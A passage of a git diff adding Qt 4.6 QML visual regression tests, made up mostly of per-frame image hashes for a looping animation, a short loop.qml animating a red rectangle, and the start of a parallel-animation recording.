"0d6d6cb2ca808f5a57acfa32e10fc335" + } + Frame { + msec: 1424 + hash: "9a660a0fed41211a37d3ac82be40f81a" + } + Frame { + msec: 1440 + hash: "df3fd60ecbd517879e00e8112c49bed4" + } + Frame { + msec: 1456 + hash: "cd86fe5894e5d061f7ffe37913f00ce6" + } + Frame { + msec: 1472 + hash: "a5fdb825c18d43f3ae18f5c28e715174" + } + Frame { + msec: 1488 + hash: "0fdfb5f9463def560da6c19acf96bafb" + } + Frame { + msec: 1504 + hash: "8849a36af064503dbccad69a35b6ab03" + } + Frame { + msec: 1520 + hash: "baeb4f90b0e2efc09225dbb5dd003e9e" + } + Frame { + msec: 1536 + hash: "86922e71c80976ef3aa2cab18f86c010" + } + Frame { + msec: 1552 + hash: "10d166d7da9949370a66251415522186" + } + Frame { + msec: 1568 + hash: "ada1608055b221dc9f1f7650a9764930" + } + Frame { + msec: 1584 + hash: "dd25ffb9a6bf009139b2942f9cc1f8e7" + } + Frame { + msec: 1600 + hash: "dc4a1c44d08328965b53ff079a8fa57b" + } + Frame { + msec: 1616 + hash: "d3d88cf635ba38e5035732cb36014417" + } + Frame { + msec: 1632 + hash: "be5e44f6b9978ba3b9ae878ae5758a96" + } + Frame { + msec: 1648 + hash: "34f193daf199ab45310be2b407499e57" + } + Frame { + msec: 1664 + hash: "d87c854e1c16642dba0d87e25f0e416f" + } + Frame { + msec: 1680 + hash: "08c404f4efd27695071ad52fbfa57c0b" + } + Frame { + msec: 1696 + hash: "84828f8e0cace1a39d9b7f19b6e4cbaa" + } + Frame { + msec: 1712 + hash: "8a0c6e1f597e699c3e2be816ae4e1dd4" + } + Frame { + msec: 1728 + hash: "9aecb0c464fb140725f34ad94ede367a" + } + Frame { + msec: 1744 + hash: "a298b3ab2939819ced7e7f903ec63be4" + } + Frame { + msec: 1760 + hash: "99789b6e168355a3960986c7d1f21f82" + } + Frame { + msec: 1776 + hash: "ebd37ee719ca460480521fd4ec284a3f" + } + Frame { + msec: 1792 + hash: "9c9b3fb5b623d3deaf9920c99279d71b" + } + Frame { + msec: 1808 + hash: "8f0be6d4d6fd7f66a43fd604e17717dd" + } + Frame { + msec: 1824 + hash: "854defd35cf3315e4501583756814ff6" + } + Frame { + msec: 1840 + hash: "fd7157aef6dfb303472cd33b176f91d8" + } + Frame { + msec: 1856 + hash: "e6521a3c74c190c193af2c913e5326e2" + } + Frame { + msec: 1872 + hash: "19862dcb88fcbbb2c4ecdc42821c7fef" + } + Frame { + msec: 1888 + hash: "5e29a9f9c6c4131c5b71f84d24503ad2" + } + Frame { + msec: 1904 + hash: "140e63c071ef77d26034d0bb6a5d5b7a" + } + Frame { + msec: 1920 + image: "loop.1.png" + } + Frame { + msec: 1936 + hash: "7f79dd50a0af8e8871191ee80afcad0f" + } + Frame { + msec: 1952 + hash: "a5eb3334044999f56c759ce8727d627f" + } + Frame { + msec: 1968 + hash: "3fb70a7591b6decfa44f7cad18f73855" + } + Frame { + msec: 1984 + hash: "3fab99be73f7f12b9463dea359fc86d2" + } + Frame { + msec: 2000 + hash: "50ce6b869e42c949b84cf2dd0cca3af9" + } + Frame { + msec: 2016 + hash: "5369125b23e2f954c18f2fd4e0ba6f6a" + } + Frame { + msec: 2032 + hash: "a76f624be0db97ec4450b10f748065df" + } + Frame { + msec: 2048 + hash: "3fb70a7591b6decfa44f7cad18f73855" + } + Frame { + msec: 2064 + hash: "dada267799b6e57acfcc5de3b8822c7c" + } + Frame { + msec: 2080 + hash: "72c0bf8225504e86ff023242b84513a8" + } + Frame { + msec: 2096 + hash: "1e8b095c39bd359637b1b9c975ee514c" + } + Frame { + msec: 2112 + hash: "19862dcb88fcbbb2c4ecdc42821c7fef" + } + Frame { + msec: 2128 + hash: "60c95993a894e1c6e2d476db365b7746" + } + Frame { + msec: 2144 + hash: "854defd35cf3315e4501583756814ff6" + } + Frame { + msec: 2160 + hash: "15e8959bfa4d206b2f0607322b21cba6" + } + Frame { + msec: 2176 + hash: "ebd37ee719ca460480521fd4ec284a3f" + } + Frame { + msec: 2192 + hash: "6d278926822d044fff04c3f182dcb058" + } + Frame { + msec: 2208 + hash: "9aecb0c464fb140725f34ad94ede367a" + } + Frame { + msec: 2224 + hash: "b36f70f138e6deecf5b105bcd89d1a15" + } + Frame { + msec: 2240 + hash: "08c404f4efd27695071ad52fbfa57c0b" + } + Frame { + msec: 2256 + hash: "6469d0bee7ab280639b565ebf174f251" + } + Frame { + msec: 2272 + hash: "be5e44f6b9978ba3b9ae878ae5758a96" + } + Frame { + msec: 2288 + hash: "5214e578bc78b729ddf35c140093c0da" + } + Frame { + msec: 2304 + hash: "dd25ffb9a6bf009139b2942f9cc1f8e7" + } + Frame { + msec: 2320 + hash: "2ddf31aeac4815be56848703a9b5aa14" + } + Frame { + msec: 2336 + hash: "86922e71c80976ef3aa2cab18f86c010" + } + Frame { + msec: 2352 + hash: "d8415ba4fb19b62b838ef2e09ae7607a" + } + Frame { + msec: 2368 + hash: "0fdfb5f9463def560da6c19acf96bafb" + } + Frame { + msec: 2384 + hash: "68fac60713af7cb130e92fa381be411c" + } + Frame { + msec: 2400 + hash: "df3fd60ecbd517879e00e8112c49bed4" + } + Frame { + msec: 2416 + hash: "64e49282d97ba864d2f6be632ae048e4" + } + Frame { + msec: 2432 + hash: "346e7f597cfb4fc51d5393e705deddd5" + } + Frame { + msec: 2448 + hash: "f302a9ce45187ff1001c967a4c753b2b" + } + Frame { + msec: 2464 + hash: "def9383a090e4454343725f1a7c4fb3d" + } + Frame { + msec: 2480 + hash: "fd177a7ae3b5b9205fd38e955be327e0" + } + Frame { + msec: 2496 + hash: "1eea7eb2853a9e7a1a69738667457b7a" + } + Frame { + msec: 2512 + hash: "32b16dd62ccf06e44be38fd5885f297e" + } + Frame { + msec: 2528 + hash: "2a6b8aecef26793e200993dc1e25fd95" + } + Frame { + msec: 2544 + hash: "8637606843905d6ae3f95fcb745f2a6e" + } + Frame { + msec: 2560 + hash: "1a7a81f851c8817cac3cc0cb7ac07971" + } + Frame { + msec: 2576 + hash: "704ca30ddc0a637f3d1cd4926a6f7983" + } + Frame { + msec: 2592 + hash: "d1c02f3ce4bcc96e0c3d2503a0e9aa48" + } + Frame { + msec: 2608 + hash: "7759418b4fe412857ab8e7294f5a3206" + } + Frame { + msec: 2624 + hash: "3e6a6f505aa146a6789434d265ad4d3b" + } + Frame { + msec: 2640 + hash: "3e6089b47573cd53b0a220275202c80b" + } + Frame { + msec: 2656 + hash: "53bd2c46e3a11db0ee151a6a0311b3a8" + } + Frame { + msec: 2672 + hash: "f30202ae354a587c5949a16c1f8b95c3" + } + Frame { + msec: 2688 + hash: "66f78a34fe9d297af1ae8e98f84ead55" + } + Frame { + msec: 2704 + hash: "3e2fc29876812fe57ea008a71db299a4" + } + Frame { + msec: 2720 + hash: "7234b6df2220e418ef8ebe8f1c82bf26" + } + Frame { + msec: 2736 + hash: "82dd491c3b34e702a24ece8e55761a6f" + } + Frame { + msec: 2752 + hash: "d7f1065f5c42088dfc5ce36687fd8010" + } + Frame { + msec: 2768 + hash: "15bfbb0261b66ccbe3b34d0ac807165c" + } + Frame { + msec: 2784 + hash: "69963ce07eb434d787588b21fd020fa3" + } + Frame { + msec: 2800 + hash: "2fb9e078573ebd1a5cf0f615c97f1d20" + } + Frame { + msec: 2816 + hash: "31fa31ed47ea16390be8ea9d41f483e7" + } + Frame { + msec: 2832 + hash: "0f9ed8cd5cfbdab03bcb05cf6dd92620" + } + Frame { + msec: 2848 + hash: "a0e737132ae642c465e991e770ab3e34" + } + Frame { + msec: 2864 + hash: "d57cc5045f01ab4e7eb72575aef22a10" + } + Frame { + msec: 2880 + image: "loop.2.png" + } + Frame { + msec: 2896 + hash: "df41be1fa564353ceb2088af209610d3" + } + Frame { + msec: 2912 + hash: "2d294613ed10dfdbca829b43b6990574" + } + Frame { + msec: 2928 + hash: "0a278a4ec3626442c94ef2da30771171" + } + Frame { + msec: 2944 + hash: "7071526c830fdfde9d520ad1578d27a8" + } + Frame { + msec: 2960 + hash: "ad02e7b90f223d3fc5a433bc4ffbee9e" + } + Frame { + msec: 2976 + hash: "e7ef412697c7df3887980ed1b079ffd5" + } + Frame { + msec: 2992 + hash: "ebda21f95079b37f4862b42523bbc1c0" + } + Frame { + msec: 3008 + hash: "6e8889e9b44ff8ed44e228d97fb5034c" + } + Frame { + msec: 3024 + hash: "f32aceabb929471dffd73bf0290e75a2" + } + Frame { + msec: 3040 + hash: "9112838cc8f9a0cfb94e0ef6ca7eca71" + } + Frame { + msec: 3056 + hash: "53bd2c46e3a11db0ee151a6a0311b3a8" + } + Frame { + msec: 3072 + hash: "d5105f958a592324e53aae4a83beb049" + } + Frame { + msec: 3088 + hash: "862249432e6fc6114b63284ad9c97cb6" + } + Frame { + msec: 3104 + hash: "3e6a6f505aa146a6789434d265ad4d3b" + } + Frame { + msec: 3120 + hash: "0f5b2b05f72b86bd2b0a6d0ea2b6bf37" + } + Frame { + msec: 3136 + hash: "922520f7ec954d6d1061208cbd63877e" + } + Frame { + msec: 3152 + hash: "d1c02f3ce4bcc96e0c3d2503a0e9aa48" + } + Frame { + msec: 3168 + hash: "ebb41112b687ecb062dedc3b49cb93fc" + } + Frame { + msec: 3184 + hash: "7bc87d71d532aa52abc26ac9c1cbb665" + } + Frame { + msec: 3200 + hash: "1a7a81f851c8817cac3cc0cb7ac07971" + } + Frame { + msec: 3216 + hash: "ca17c870c55f2947bb5f85d28f30ee7c" + } + Frame { + msec: 3232 + hash: "48b123cfd6d2ea1c2bc9f2ba822ec7bf" + } + Frame { + msec: 3248 + hash: "2a6b8aecef26793e200993dc1e25fd95" + } + Frame { + msec: 3264 + hash: "f10a0a11ed54a910fe434311f67343a4" + } + Frame { + msec: 3280 + hash: "47b6e1beabdcd3cd3d21d77c62e5bed8" + } + Frame { + msec: 3296 + hash: "1eea7eb2853a9e7a1a69738667457b7a" + } + Frame { + msec: 3312 + hash: "9e018f9e7a5ba22bbb9be3049373124a" + } + Frame { + msec: 3328 + hash: "d63069a8e7b0eb5611cc34caaecef2fb" + } + Frame { + msec: 3344 + hash: "def9383a090e4454343725f1a7c4fb3d" + } + Frame { + msec: 3360 + hash: "fd3036e559fd31eeadb0032666a95864" + } + Frame { + msec: 3376 + hash: "cf9f82b9e2a03f63f75b6ac113b3d4e5" + } + Frame { + msec: 3392 + hash: "346e7f597cfb4fc51d5393e705deddd5" + } + Frame { + msec: 3408 + hash: "0d6d6cb2ca808f5a57acfa32e10fc335" + } + Frame { + msec: 3424 + hash: "9a660a0fed41211a37d3ac82be40f81a" + } + Frame { + msec: 3440 + hash: "df3fd60ecbd517879e00e8112c49bed4" + } + Frame { + msec: 3456 + hash: "cd86fe5894e5d061f7ffe37913f00ce6" + } + Frame { + msec: 3472 + hash: "a5fdb825c18d43f3ae18f5c28e715174" + } + Frame { + msec: 3488 + hash: "0fdfb5f9463def560da6c19acf96bafb" + } + Frame { + msec: 3504 + hash: "8849a36af064503dbccad69a35b6ab03" + } + Frame { + msec: 3520 + hash: "baeb4f90b0e2efc09225dbb5dd003e9e" + } + Frame { + msec: 3536 + hash: "86922e71c80976ef3aa2cab18f86c010" + } + Frame { + msec: 3552 + hash: "10d166d7da9949370a66251415522186" + } + Frame { + msec: 3568 + hash: "ada1608055b221dc9f1f7650a9764930" + } + Frame { + msec: 3584 + hash: "dd25ffb9a6bf009139b2942f9cc1f8e7" + } + Frame { + msec: 3600 + hash: "dc4a1c44d08328965b53ff079a8fa57b" + } + Frame { + msec: 3616 + hash: "d3d88cf635ba38e5035732cb36014417" + } + Frame { + msec: 3632 + hash: "be5e44f6b9978ba3b9ae878ae5758a96" + } + Frame { + msec: 3648 + hash: "34f193daf199ab45310be2b407499e57" + } + Frame { + msec: 3664 + hash: "d87c854e1c16642dba0d87e25f0e416f" + } + Frame { + msec: 3680 + hash: "08c404f4efd27695071ad52fbfa57c0b" + } + Frame { + msec: 3696 + hash: "84828f8e0cace1a39d9b7f19b6e4cbaa" + } + Frame { + msec: 3712 + hash: "8a0c6e1f597e699c3e2be816ae4e1dd4" + } + Frame { + msec: 3728 + hash: "9aecb0c464fb140725f34ad94ede367a" + } + Frame { + msec: 3744 + hash: "a298b3ab2939819ced7e7f903ec63be4" + } + Frame { + msec: 3760 + hash: "99789b6e168355a3960986c7d1f21f82" + } + Frame { + msec: 3776 + hash: "ebd37ee719ca460480521fd4ec284a3f" + } + Frame { + msec: 3792 + hash: "9c9b3fb5b623d3deaf9920c99279d71b" + } + Frame { + msec: 3808 + hash: "8f0be6d4d6fd7f66a43fd604e17717dd" + } + Frame { + msec: 3824 + hash: "854defd35cf3315e4501583756814ff6" + } + Frame { + msec: 3840 + image: "loop.3.png" + } + Frame { + msec: 3856 + hash: "e6521a3c74c190c193af2c913e5326e2" + } + Frame { + msec: 3872 + hash: "19862dcb88fcbbb2c4ecdc42821c7fef" + } + Frame { + msec: 3888 + hash: "5e29a9f9c6c4131c5b71f84d24503ad2" + } + Frame { + msec: 3904 + hash: "140e63c071ef77d26034d0bb6a5d5b7a" + } + Frame { + msec: 3920 + hash: "72c0bf8225504e86ff023242b84513a8" + } + Frame { + msec: 3936 + hash: "7f79dd50a0af8e8871191ee80afcad0f" + } + Frame { + msec: 3952 + hash: "a5eb3334044999f56c759ce8727d627f" + } + Frame { + msec: 3968 + hash: "3fb70a7591b6decfa44f7cad18f73855" + } + Frame { + msec: 3984 + hash: "3fab99be73f7f12b9463dea359fc86d2" + } + Frame { + msec: 4000 + hash: "50ce6b869e42c949b84cf2dd0cca3af9" + } + Frame { + msec: 4016 + hash: "5369125b23e2f954c18f2fd4e0ba6f6a" + } + Frame { + msec: 4032 + hash: "a76f624be0db97ec4450b10f748065df" + } + Frame { + msec: 4048 + hash: "3fb70a7591b6decfa44f7cad18f73855" + } + Frame { + msec: 4064 + hash: "dada267799b6e57acfcc5de3b8822c7c" + } + Frame { + msec: 4080 + hash: "72c0bf8225504e86ff023242b84513a8" + } + Frame { + msec: 4096 + hash: "1e8b095c39bd359637b1b9c975ee514c" + } + Frame { + msec: 4112 + hash: "19862dcb88fcbbb2c4ecdc42821c7fef" + } + Frame { + msec: 4128 + hash: "60c95993a894e1c6e2d476db365b7746" + } + Frame { + msec: 4144 + hash: "854defd35cf3315e4501583756814ff6" + } + Frame { + msec: 4160 + hash: "15e8959bfa4d206b2f0607322b21cba6" + } + Frame { + msec: 4176 + hash: "ebd37ee719ca460480521fd4ec284a3f" + } + Frame { + msec: 4192 + hash: "6d278926822d044fff04c3f182dcb058" + } + Frame { + msec: 4208 + hash: "9aecb0c464fb140725f34ad94ede367a" + } + Frame { + msec: 4224 + hash: "b36f70f138e6deecf5b105bcd89d1a15" + } + Frame { + msec: 4240 + hash: "08c404f4efd27695071ad52fbfa57c0b" + } + Frame { + msec: 4256 + hash: "6469d0bee7ab280639b565ebf174f251" + } + Frame { + msec: 4272 + hash: "be5e44f6b9978ba3b9ae878ae5758a96" + } + Frame { + msec: 4288 + hash: "5214e578bc78b729ddf35c140093c0da" + } + Frame { + msec: 4304 + hash: "dd25ffb9a6bf009139b2942f9cc1f8e7" + } + Frame { + msec: 4320 + hash: "2ddf31aeac4815be56848703a9b5aa14" + } + Frame { + msec: 4336 + hash: "86922e71c80976ef3aa2cab18f86c010" + } + Frame { + msec: 4352 + hash: "d8415ba4fb19b62b838ef2e09ae7607a" + } + Frame { + msec: 4368 + hash: "0fdfb5f9463def560da6c19acf96bafb" + } + Frame { + msec: 4384 + hash: "68fac60713af7cb130e92fa381be411c" + } + Frame { + msec: 4400 + hash: "df3fd60ecbd517879e00e8112c49bed4" + } + Frame { + msec: 4416 + hash: "64e49282d97ba864d2f6be632ae048e4" + } + Frame { + msec: 4432 + hash: "346e7f597cfb4fc51d5393e705deddd5" + } + Frame { + msec: 4448 + hash: "f302a9ce45187ff1001c967a4c753b2b" + } + Frame { + msec: 4464 + hash: "def9383a090e4454343725f1a7c4fb3d" + } + Frame { + msec: 4480 + hash: "fd177a7ae3b5b9205fd38e955be327e0" + } + Frame { + msec: 4496 + hash: "1eea7eb2853a9e7a1a69738667457b7a" + } + Frame { + msec: 4512 + hash: "32b16dd62ccf06e44be38fd5885f297e" + } + Frame { + msec: 4528 + hash: "2a6b8aecef26793e200993dc1e25fd95" + } + Frame { + msec: 4544 + hash: "8637606843905d6ae3f95fcb745f2a6e" + } + Frame { + msec: 4560 + hash: "1a7a81f851c8817cac3cc0cb7ac07971" + } + Frame { + msec: 4576 + hash: "704ca30ddc0a637f3d1cd4926a6f7983" + } + Frame { + msec: 4592 + hash: "d1c02f3ce4bcc96e0c3d2503a0e9aa48" + } + Frame { + msec: 4608 + hash: "7759418b4fe412857ab8e7294f5a3206" + } + Frame { + msec: 4624 + hash: "3e6a6f505aa146a6789434d265ad4d3b" + } + Frame { + msec: 4640 + hash: "3e6089b47573cd53b0a220275202c80b" + } + Frame { + msec: 4656 + hash: "53bd2c46e3a11db0ee151a6a0311b3a8" + } + Frame { + msec: 4672 + hash: "f30202ae354a587c5949a16c1f8b95c3" + } + Frame { + msec: 4688 + hash: "66f78a34fe9d297af1ae8e98f84ead55" + } + Frame { + msec: 4704 + hash: "3e2fc29876812fe57ea008a71db299a4" + } + Frame { + msec: 4720 + hash: "7234b6df2220e418ef8ebe8f1c82bf26" + } + Frame { + msec: 4736 + hash: "82dd491c3b34e702a24ece8e55761a6f" + } + Frame { + msec: 4752 + hash: "d7f1065f5c42088dfc5ce36687fd8010" + } + Frame { + msec: 4768 + hash: "15bfbb0261b66ccbe3b34d0ac807165c" + } + Frame { + msec: 4784 + hash: "69963ce07eb434d787588b21fd020fa3" + } + Frame { + msec: 4800 + image: "loop.4.png" + } + Frame { + msec: 4816 + hash: "31fa31ed47ea16390be8ea9d41f483e7" + } + Frame { + msec: 4832 + hash: "0f9ed8cd5cfbdab03bcb05cf6dd92620" + } + Frame { + msec: 4848 + hash: "a0e737132ae642c465e991e770ab3e34" + } + Frame { + msec: 4864 + hash: "d57cc5045f01ab4e7eb72575aef22a10" + } + Frame { + msec: 4880 + hash: "d57e1a10e48938e1f7fc219220fe1204" + } + Frame { + msec: 4896 + hash: "df41be1fa564353ceb2088af209610d3" + } + Frame { + msec: 4912 + hash: "2d294613ed10dfdbca829b43b6990574" + } + Frame { + msec: 4928 + hash: "0a278a4ec3626442c94ef2da30771171" + } + Frame { + msec: 4944 + hash: "7071526c830fdfde9d520ad1578d27a8" + } + Frame { + msec: 4960 + hash: "ad02e7b90f223d3fc5a433bc4ffbee9e" + } + Frame { + msec: 4976 + hash: "e7ef412697c7df3887980ed1b079ffd5" + } + Frame { + msec: 4992 + hash: "ebda21f95079b37f4862b42523bbc1c0" + } + Frame { + msec: 5008 + hash: "6e8889e9b44ff8ed44e228d97fb5034c" + } + Frame { + msec: 5024 + hash: "f32aceabb929471dffd73bf0290e75a2" + } + Frame { + msec: 5040 + hash: "9112838cc8f9a0cfb94e0ef6ca7eca71" + } + Frame { + msec: 5056 + hash: "53bd2c46e3a11db0ee151a6a0311b3a8" + } + Frame { + msec: 5072 + hash: "d5105f958a592324e53aae4a83beb049" + } + Frame { + msec: 5088 + hash: "862249432e6fc6114b63284ad9c97cb6" + } + Frame { + msec: 5104 + hash: "3e6a6f505aa146a6789434d265ad4d3b" + } + Frame { + msec: 5120 + hash: "0f5b2b05f72b86bd2b0a6d0ea2b6bf37" + } + Frame { + msec: 5136 + hash: "922520f7ec954d6d1061208cbd63877e" + } + Frame { + msec: 5152 + hash: "d1c02f3ce4bcc96e0c3d2503a0e9aa48" + } + Frame { + msec: 5168 + hash: "ebb41112b687ecb062dedc3b49cb93fc" + } + Frame { + msec: 5184 + hash: "7bc87d71d532aa52abc26ac9c1cbb665" + } + Frame { + msec: 5200 + hash: "1a7a81f851c8817cac3cc0cb7ac07971" + } + Frame { + msec: 5216 + hash: "ca17c870c55f2947bb5f85d28f30ee7c" + } + Frame { + msec: 5232 + hash: "48b123cfd6d2ea1c2bc9f2ba822ec7bf" + } + Frame { + msec: 5248 + hash: "2a6b8aecef26793e200993dc1e25fd95" + } + Frame { + msec: 5264 + hash: "f10a0a11ed54a910fe434311f67343a4" + } + Frame { + msec: 5280 + hash: "47b6e1beabdcd3cd3d21d77c62e5bed8" + } + Frame { + msec: 5296 + hash: "1eea7eb2853a9e7a1a69738667457b7a" + } + Frame { + msec: 5312 + hash: "9e018f9e7a5ba22bbb9be3049373124a" + } + Frame { + msec: 5328 + hash: "d63069a8e7b0eb5611cc34caaecef2fb" + } + Frame { + msec: 5344 + hash: "def9383a090e4454343725f1a7c4fb3d" + } + Frame { + msec: 5360 + hash: "fd3036e559fd31eeadb0032666a95864" + } + Frame { + msec: 5376 + hash: "cf9f82b9e2a03f63f75b6ac113b3d4e5" + } + Frame { + msec: 5392 + hash: "346e7f597cfb4fc51d5393e705deddd5" + } + Frame { + msec: 5408 + hash: "0d6d6cb2ca808f5a57acfa32e10fc335" + } + Frame { + msec: 5424 + hash: "9a660a0fed41211a37d3ac82be40f81a" + } + Frame { + msec: 5440 + hash: "df3fd60ecbd517879e00e8112c49bed4" + } + Frame { + msec: 5456 + hash: "cd86fe5894e5d061f7ffe37913f00ce6" + } + Frame { + msec: 5472 + hash: "a5fdb825c18d43f3ae18f5c28e715174" + } + Frame { + msec: 5488 + hash: "0fdfb5f9463def560da6c19acf96bafb" + } + Frame { + msec: 5504 + hash: "8849a36af064503dbccad69a35b6ab03" + } + Frame { + msec: 5520 + hash: "baeb4f90b0e2efc09225dbb5dd003e9e" + } + Frame { + msec: 5536 + hash: "86922e71c80976ef3aa2cab18f86c010" + } + Frame { + msec: 5552 + hash: "10d166d7da9949370a66251415522186" + } + Frame { + msec: 5568 + hash: "ada1608055b221dc9f1f7650a9764930" + } + Frame { + msec: 5584 + hash: "dd25ffb9a6bf009139b2942f9cc1f8e7" + } + Frame { + msec: 5600 + hash: "dc4a1c44d08328965b53ff079a8fa57b" + } + Frame { + msec: 5616 + hash: "d3d88cf635ba38e5035732cb36014417" + } + Frame { + msec: 5632 + hash: "be5e44f6b9978ba3b9ae878ae5758a96" + } + Frame { + msec: 5648 + hash: "34f193daf199ab45310be2b407499e57" + } + Frame { + msec: 5664 + hash: "d87c854e1c16642dba0d87e25f0e416f" + } + Frame { + msec: 5680 + hash: "08c404f4efd27695071ad52fbfa57c0b" + } + Frame { + msec: 5696 + hash: "84828f8e0cace1a39d9b7f19b6e4cbaa" + } + Frame { + msec: 5712 + hash: "8a0c6e1f597e699c3e2be816ae4e1dd4" + } + Frame { + msec: 5728 + hash: "9aecb0c464fb140725f34ad94ede367a" + } + Frame { + msec: 5744 + hash: "a298b3ab2939819ced7e7f903ec63be4" + } + Frame { + msec: 5760 + image: "loop.5.png" + } + Frame { + msec: 5776 + hash: "ebd37ee719ca460480521fd4ec284a3f" + } + Frame { + msec: 5792 + hash: "9c9b3fb5b623d3deaf9920c99279d71b" + } + Frame { + msec: 5808 + hash: "8f0be6d4d6fd7f66a43fd604e17717dd" + } + Frame { + msec: 5824 + hash: "854defd35cf3315e4501583756814ff6" + } + Frame { + msec: 5840 + hash: "fd7157aef6dfb303472cd33b176f91d8" + } + Frame { + msec: 5856 + hash: "e6521a3c74c190c193af2c913e5326e2" + } +} diff --git a/tests/auto/declarative/qmlvisual/animation/loop/loop.qml b/tests/auto/declarative/qmlvisual/animation/loop/loop.qml new file mode 100644 index 0000000..5389b26 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/animation/loop/loop.qml @@ -0,0 +1,24 @@ +import Qt 4.6 + +Rectangle { + id: wrapper + width: 600 + height: 100 + + Rectangle { + id: redRect + width: 100; height: 100 + color: Qt.rgba(1,0,0) + /* This should produce an animation that starts at 0, animates smoothly + to 100, jumps to 200, animates smoothly to 400, animates smoothly + back to 100, jumps to 200, and so on. + */ + SequentialAnimation on x { + loops: Animation.Infinite + NumberAnimation { to: 100; duration: 1000 } + NumberAnimation { from: 200; to: 400; duration: 1000 } + } + + } + +} diff --git a/tests/auto/declarative/qmlvisual/animation/parallelAnimation/data/parallelAnimation.0.png b/tests/auto/declarative/qmlvisual/animation/parallelAnimation/data/parallelAnimation.0.png new file mode 100644 index 0000000..82c18d7 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/parallelAnimation/data/parallelAnimation.0.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/parallelAnimation/data/parallelAnimation.1.png b/tests/auto/declarative/qmlvisual/animation/parallelAnimation/data/parallelAnimation.1.png new file mode 100644 index 0000000..b9a3b89 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/parallelAnimation/data/parallelAnimation.1.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/parallelAnimation/data/parallelAnimation.2.png b/tests/auto/declarative/qmlvisual/animation/parallelAnimation/data/parallelAnimation.2.png new file mode 100644 index 0000000..789615b Binary files /dev/null and b/tests/auto/declarative/qmlvisual/animation/parallelAnimation/data/parallelAnimation.2.png differ diff --git a/tests/auto/declarative/qmlvisual/animation/parallelAnimation/data/parallelAnimation.qml b/tests/auto/declarative/qmlvisual/animation/parallelAnimation/data/parallelAnimation.qml new file mode 100644 index 0000000..5f5b8fc --- /dev/null +++ b/tests/auto/declarative/qmlvisual/animation/parallelAnimation/data/parallelAnimation.qml @@ -0,0 +1,463 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 32 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 48 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 64 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 80 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 96 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 112 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 128 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 144 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 160 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 176 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 192 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 208 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 224 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 240 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 256 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 272 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 288 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 304 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 320 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 336 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 352 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 368 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 384 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 400 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 416 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 432 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 448 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 464 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 480 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 496 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 512 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 528 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 544 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 560 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 576 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 592 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 608 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 624 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 640 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 656 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 672 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 688 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 704 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 720 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 736 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 752 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 137; y: 74 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 768 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 784 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 800 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 816 + hash: "4faa7727bafeea0771f2db62f0141ac9" + } + Frame { + msec: 832 + hash: 